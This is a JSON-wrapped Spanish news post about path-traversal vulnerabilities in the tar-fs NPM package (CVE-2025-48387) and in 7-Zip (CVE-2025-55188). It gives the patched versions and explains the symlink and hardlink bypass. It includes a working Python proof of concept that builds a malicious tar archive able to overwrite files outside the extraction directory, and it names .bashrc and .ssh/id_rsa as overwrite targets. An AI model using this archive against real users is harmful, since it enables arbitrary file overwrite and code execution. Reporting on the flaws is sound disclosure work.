{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Vulnerabilidades en tar-fs y 7-Zip que permiten escribir archivos fuera del directorio base","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Se ha detectado una vulnerabilidad en el paquete NPM tar-fs (CVE-2025-48387), que permite a un archivo tar especialmente dise\u00f1ado escribir archivos en cualquier parte del sistema de archivos, sin estar limitado al directorio donde se est\u00e1 extrayendo (seg\u00fan los permisos del usuario actual). Esta vulnerabilidad tambi\u00e9n puede ser utilizada para sobrescribir archivos existentes; por ejemplo, para ejecutar su propio c\u00f3digo en el sistema, pueden sobrescribirse los archivos «.ssh\/id_rsa» o «.bashrc» en el directorio personal del usuario. <\/p>\n
Se le ha asignado un nivel de riesgo cr\u00edtico a este problema, dado que el paquete tar-fs tiene 23 millones de descargas semanales y se utiliza como dependencia en 1155 proyectos. La vulnerabilidad se ha corregido en las versiones 3.0.9, 2.1.3 y 1.16.5, que se lanzaron en mayo, pero la informaci\u00f3n sobre la vulnerabilidad se hizo p\u00fablica casi tres meses despu\u00e9s. <\/p>\n
La vulnerabilidad es causada por verificaciones insuficientes de los enlaces simb\u00f3licos y duros en el archivo para asegurarse de que no salgan del directorio objetivo para la extracci\u00f3n. Se utilizan dos enlaces simb\u00f3licos para eludir las verificaciones: el primero apunta al directorio ra\u00edz de extracci\u00f3n del archivo («.»), y el segundo se crea en relaci\u00f3n con el primer enlace simb\u00f3lico y usa en su nombre los caracteres «..» para salir del directorio base. Por ejemplo, el primer enlace «noop\/noop\/noop» apunta a «.», mientras que el segundo «noop\/noop\/noop\/..\/\/..\/\/..» se expande a «.\/\/..\/\/..\/\/». Para organizar la sobrescritura de archivos en el archivo, se puede crear un enlace duro que apunte a un archivo externo en relaci\u00f3n con el segundo enlace simb\u00f3lico. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («..» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n
Se ha identificado una vulnerabilidad similar (CVE-2025-55188) en el archivador 7-Zip. Para escribir archivos fuera del directorio base en 7-Zip, tambi\u00e9n se pueden utilizar enlaces simb\u00f3licos que contienen la secuencia «..» en la ruta del archivo. El problema puede ser explotado al extraer archivos con 7-Zip que soportan enlaces simb\u00f3licos, como zip, tar, 7z y rar. El problema se ha solucionado en la versi\u00f3n 7-Zip 25.01. \n Fuente: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"